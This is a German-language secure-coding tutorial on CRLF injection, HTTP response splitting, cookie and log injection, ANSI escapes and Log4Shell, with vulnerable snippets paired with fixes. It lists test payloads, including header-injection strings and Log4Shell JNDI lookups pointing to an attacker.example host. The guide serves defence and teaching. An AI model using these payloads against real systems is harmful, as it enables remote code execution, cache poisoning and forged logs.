CRLF- und Log-Injection sind die unauffälligen Geschwister der großen Injection-Klassen. Statt SQL oder Shell zu manipulieren, schmuggelt man Zeilenumbrüche in einen Header oder einen Log-Eintrag — und ändert damit die Interpretation durch HTTP-Parser, Log-Aggregatoren oder SIEM-Systeme. Wirkung reicht von HTTP-Response-Splitting über gefälschte Log-Einträge bis zu Terminal-Eskapaden mit ANSI-Codes. Plus der Log4Shell-Kontext, wo eine Logging-Library selbst zum Interpreter wurde.
CRLF-Injection — die Grundlage
CR (Carriage Return, \r, 0x0D) und LF (Line Feed, \n, 0x0A) sind in HTTP die Trennzeichen zwischen Header-Zeilen. Ein HTTP-Response sieht so aus:
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Set-Cookie: sessionId=abc123\r\n
\r\n
<html>...</html>Wenn ein User-Wert ungeschützt in einen Header-Wert eingefügt wird und der Wert ein \r\n enthält, kann ein:e Angreifer:in neue Header oder sogar einen neuen Response-Body einschmuggeln.
Klassisches Beispiel — Redirect mit User-URL:
// Schadhaft
app.get('/redirect', (req, res) => {
res.setHeader('Location', req.query.url);
res.status(302).end();
});Mit url = "https://attacker.example\r\nSet-Cookie: evil=injected":
HTTP/1.1 302 Found
Location: https://attacker.example
Set-Cookie: evil=injected
Content-Length: 0
Der Angreifer hat einen zusätzlichen Header injiziert. Bei eskalierten Payloads (\r\n\r\n plus Body) lässt sich sogar der gesamte Response-Body kapern — Response-Splitting.
HTTP-Response-Splitting
Voll-eskaliertes CRLF mit Body-Injection sieht so aus:
url = https://example.com/foo\r\n
Content-Length: 0\r\n
\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 31\r\n
\r\n
<html><body>FAKE</body></html>Der Server gibt zwei Responses zurück. Wenn ein Proxy oder Browser-Cache dazwischen hängt, kann der zweite Response für einen anderen Request gecacht werden — Cache-Poisoning.
Moderne HTTP-Server (Node.js, Express, Go net/http, Java Servlet 4+) blockieren CRLF in Header-Werten standardmäßig — setHeader() mit Newline wirft Error. Damit ist die Klasse in modernem Code selten. Lücken bleiben aber in:
- Legacy-Servern (alte Tomcat-Versionen, ältere Apache-Configs).
- Reverse-Proxies mit unsicherer Header-Forwarding-Logik.
- Custom-Code, der eigene HTTP-Responses zusammensetzt (z. B. CGI-Skripte, eigene Socket-Implementierungen).
- Templates und Mail-Templates, die HTTP-artige Strukturen aufbauen.
Set-Cookie-Injection als spezielle Variante
Auch wenn ein Server CRLF generell blockiert: einige Frameworks erlauben CRLF in Set-Cookie-Werten durch Cookie-Library-Bugs.
Beispiel:
// Schadhaft — manche Frameworks escapen Cookie-Werte nicht vollständig
res.cookie('username', req.body.username);Mit username = "alice\r\nSet-Cookie: role=admin" kann ein zweites Cookie gesetzt werden — wenn die Library Newlines nicht filtert. Moderne Cookie-Libraries (Express cookie-parser, Django, Flask) escapen das korrekt; Custom-Code mit Set-Cookie: ... per setHeader ist riskant.
Schutz:
function sanitizeCookieValue(value) {
if (/[\r\n]/.test(String(value))) {
throw new Error('Invalid cookie value');
}
return String(value);
}
res.cookie('username', sanitizeCookieValue(req.body.username));Oder: User-Input niemals direkt als Cookie-Wert nutzen — stattdessen eine kontrollierte ID (userId-Integer) und das Mapping serverseitig halten.
Log-Injection — die unterschätzte Klasse
Log-Injection ist Injection in Log-Dateien und Log-Aggregatoren (ELK, Splunk, Datadog, Loki). Der/die Angreifer:in schreibt durch User-Input gefälschte Log-Einträge in die Logs — was Forensik, Audit und SIEM-Detection sabotiert.
Klassischer Beispielcode:
# Schadhaft
logger.info(f"Login attempt for user: {username}")Mit username = "alice\n2026-05-16 10:00:00 INFO Login successful for admin":
2026-05-16 09:58:00 INFO Login attempt for user: alice
2026-05-16 10:00:00 INFO Login successful for adminIm Log sieht es aus, als hätte ein:e Admin sich erfolgreich angemeldet. Forensik denkt das ist echt. Bei Incident-Response ist das verheerend.
Log-Injection sicher umgehen
1. Newlines escapen vor dem Logging:
def sanitize_for_log(value):
return (
str(value)
.replace('\r', '\\r')
.replace('\n', '\\n')
.replace('\t', '\\t')
)
logger.info(f"Login attempt for user: {sanitize_for_log(username)}")2. Strukturiertes Logging nutzen (empfohlen):
import structlog
log = structlog.get_logger()
# User-Input wird als Feld serialisiert (JSON-Encoding),
# niemals als Format-String-Teil
log.info("login_attempt", username=username, ip=request.remote_addr)Bei strukturiertem Logging fließt User-Input in separate Felder, nicht in die Log-Nachricht. JSON-Encoding eskapt Newlines automatisch. Das ist die strukturelle Lösung — analog zu Prepared Statements bei SQL.
3. Log-Format mit klarer Trennung:
Wenn Plain-Text-Logs bleiben, sollte das Format eine eindeutige Trennstruktur haben (z. B. JSON-Lines, Logfmt). Beim Parser-Lesen sind Newlines damit nicht mehr Format-Trenner sondern Daten.
Node.js mit Winston:
const winston = require('winston');
const logger = winston.createLogger({
format: winston.format.json(),
transports: [new winston.transports.Console()]
});
logger.info('Login attempt', { username, ip: req.ip });
// Output: {"level":"info","message":"Login attempt","username":"alice","ip":"..."}Java mit Logback:
// Logback-config mit replace() für Newline-Stripping
// logback.xml:
// <pattern>%date %level %msg%n</pattern>
// ersetzen durch:
// <pattern>%date %level %replace(%msg){'[\r\n]', '_'}%n</pattern>
// Oder besser: structured logging mit logstash-logback-encoder
logger.info("login_attempt user={} ip={}",
StructuredArguments.value("username", username),
StructuredArguments.value("ip", ip));ANSI-Escape-Tricks in Logs
Ein Spezial-Vektor: wenn Logs in Terminals (z. B. tail -f) oder Web-Log-Viewern angesehen werden, können ANSI-Escape-Sequenzen im User-Input das Terminal manipulieren.
Beispiel-Payload:
username = alice\x1b[2K\x1b[1A # Lösche aktuelle und vorherige Zeile
username = alice\x1b[31mPWNED\x1b[0m # Roter Text "PWNED"
username = alice\x07 # Bell-SoundMögliche Auswirkungen:
- Zeilen löschen oder überschreiben in Log-Anzeige — verwirrt Forensik.
- Beleidigender oder irreführender Inhalt in Terminal angezeigt.
- In sehr alten Terminals: ANSI-Commands für Tastatur-Reprogramming (heute praktisch tot).
- In Web-Log-Viewern: Wenn das Tool ANSI zu HTML übersetzt und nicht escaped, sogar XSS.
Schutz:
import re
def strip_ansi(value):
# Entfernt alle Control-Codes (inkl. ANSI-Escape, Bell, Backspace)
return re.sub(r'[\x00-\x1f\x7f]', '', str(value))
safe = strip_ansi(username)Oder im strukturierten Log-Format JSON-encoden — Control-Codes werden dann zu etc., harmlos.
Log4Shell — der Spezialfall
Log4Shell (CVE-2021-44228, Dezember 2021) war eine andere Klasse, gehört aber thematisch hierher: die Java-Logging-Library Log4j hatte eine Funktion namens JNDI Lookup in Log-Messages — ${jndi:ldap://attacker.example/x} in einem User-String führte dazu, dass Log4j die LDAP-URL auflöste, eine Java-Klasse lud und ausführte. RCE durch Logging.
Klassischer Vektor:
# User-Agent oder X-Forwarded-For Header:
User-Agent: ${jndi:ldap://attacker.example/Exploit}
# Server loggt mit log4j:
logger.info("Request from " + userAgent);
# log4j wertet ${jndi:...} aus, fetcht LDAP-URL,
# lädt Java-Klasse, ruft sie auf → RCEWarum das verheerend war:
- Jede Java-Anwendung mit Log4j 2.x (extrem verbreitet) potentiell betroffen.
- Auch Apps, die nur User-Agent oder andere Header loggten — und das ist quasi jede.
- Patch nicht trivial — die Lücke war in der Default-Konfiguration vorhanden.
- Massenscan begann innerhalb von Stunden nach Disclosure.
Lehre:
- Logging-Libraries selbst können Interpreter sein. Was bei
printf-artigen Log-Calls als „nur ein String" aussieht, kann eine eigene Mini-Sprache haben. - Log-Calls als Sink behandeln in Code-Review — nicht nur SQL-/Shell-Sinks.
- Library-Defaults regelmäßig prüfen — der
lookups-Feature in log4j war Default, kaum jemand wusste davon.
Fix in Log4j: 2.17.0+ deaktivierte JNDI-Lookups standardmäßig. Aktuelle Java-Apps sollten mindestens diese Version nutzen.
Test-Strategien
CRLF-Test-Payloads:
# In URL-Parametern (URL-encoded)
%0d%0aSet-Cookie:%20evil=1
%0d%0aLocation:%20https://attacker.example
# Auch versuchen
%0a (nur LF)
%0d (nur CR)
%23%0a (# + LF — manche Proxies)
%e5%98%8a%e5%98%8d (Unicode-Variante via UTF-8)Log-Injection-Test-Payloads:
# Newline + falscher Log-Eintrag
alice%0a2026-05-16+ERROR+Critical+system+compromise
# ANSI-Escape
alice%1b%5b31mPWNED%1b%5b0m
# Log4Shell-Probe
${jndi:ldap://canary.attacker.example/x}
${jndi:dns://canary.attacker.example}Detection-Tools:
- Burp Suite Pro — Active Scanner findet die meisten CRLF-Klassen.
- OWASP ZAP — Spider-Plugin mit CRLF-Tests.
- Custom-Payloads in Bug-Bounty (HackerOne hat einige sehr lehrreiche Reports zu CRLF-zu-Cache-Poisoning).
- Out-of-Band-Tools wie Interactsh für Log4Shell-Probes.
Statische Analyse:
- Semgrep-Pattern für
setHeader,addHeader,logger.info(f"..."-Patterns mit Variablen. - CodeQL Security-Pack hat Regeln für CRLF und Log-Injection.
Häufige Stolperfallen
HTTP-Server blockieren CRLF heute, Reverse-Proxies aber nicht zwingend
Express, Spring, Go net/http und moderne Server werfen Errors bei \r\n in Header-Werten. Reverse-Proxies (nginx, HAProxy) leiten aber teilweise CRLF unverändert weiter — wenn dahinter ein Service eigene HTTP-Antworten zusammenbaut, ist die Klasse wieder offen. Architektur-Audit lohnt sich.
Unicode-CRLF-Bypasses
Manche Filter blockieren \r\n als Bytes — übersehen aber Unicode-Varianten (U+2028 Line Separator, U+2029 Paragraph Separator) oder UTF-8-eingebettete Sequenzen. Moderne HTTP-Server haben das meist gefixt; alte Java/Tomcat-Versionen sind anfällig. Sicher: Bytewise nach 0x0D und 0x0A prüfen, nicht nur per Regex.
Tab-Folding in Headern als Sub-Klasse
HTTP/1.0 erlaubte Header-Werte über mehrere Zeilen mit Leading-Whitespace (sog. Header-Folding). HTTP/1.1 hat das deprecated, manche Parser akzeptieren es noch. Eine \r\n\t-Sequenz kann in alten Stacks als „gleicher Header" interpretiert werden — Bypass möglich. Bei Custom-HTTP-Parser-Code besonders riskant.
Log-Injection im SIEM ist mehr als Kosmetik
Wer in Splunk oder Elastic gefälschte Log-Einträge platzieren kann, kann SIEM-Alerts triggern (DoS für SOC-Team) oder echte Alerts maskieren. In gezielten Angriffen wird das genutzt, um Forensik in die Irre zu führen. Daher: Log-Felder, die User-Input enthalten, im SIEM-Dashboard immer als „untrusted" markieren.
Strukturiertes Logging schützt strukturell
JSON-Lines oder Logfmt mit User-Input als Feld-Wert (nicht Format-String-Teil) escapt Newlines automatisch. Das ist die Equivalent-Schicht zu Prepared Statements bei SQL — kein Filter, sondern strukturelle Trennung von Format und Daten. Lohnt sich für jede neue App.
Cookie-Werte sollten niemals User-Input direkt sein
Selbst wenn die Cookie-Library Newlines escapt, ist es selten sinnvoll, User-Input direkt als Cookie-Wert zu nutzen — Quoting-Eigenheiten, Encoding-Drift zwischen Server und Browser. Besser: Session-ID als Cookie, alle anderen Daten serverseitig in Session-Store. CSRF-Schutz, Set-Cookie-Injection-Schutz, kürzere Cookies — gleich mehrere Probleme gelöst.
Log4Shell ist kein Einzelfall — Lookup-Features sind verbreitet
Spring Expression Language (SpEL) in Log-Patterns, Velocity-Templates in Mail-Logging-Helper, Freemarker in Custom-Loggern — viele Logging-/Templating-Stacks haben Eval-Features als Default. Vor Log4Shell hat das niemand auf dem Radar gehabt. Jetzt: bei jedem Library-Wechsel die Lookup-/Eval-Features aktiv prüfen.
Weiterführende Ressourcen
Externe Quellen
- OWASP Logging Cheat Sheet
- PortSwigger Web Security Academy — HTTP Header Injection
- OWASP — HTTP Response Splitting
- OWASP — Log Injection
- LunaSec Log4Shell-Analyse
- NVD CVE-2021-44228 (Log4Shell)
- structlog (Python) — strukturiertes Logging
- Interactsh — Out-of-Band-Interaction-Tool
Verwandte Artikel
- Injection-Grundlagen
- Command-Injection
- Request-Smuggling und Host-Header-Injection (Kap 10)
- File-Upload und Pfad-Traversal
- XSS in Frameworks (Kap 11 — falls Log-zu-Web-Reflection)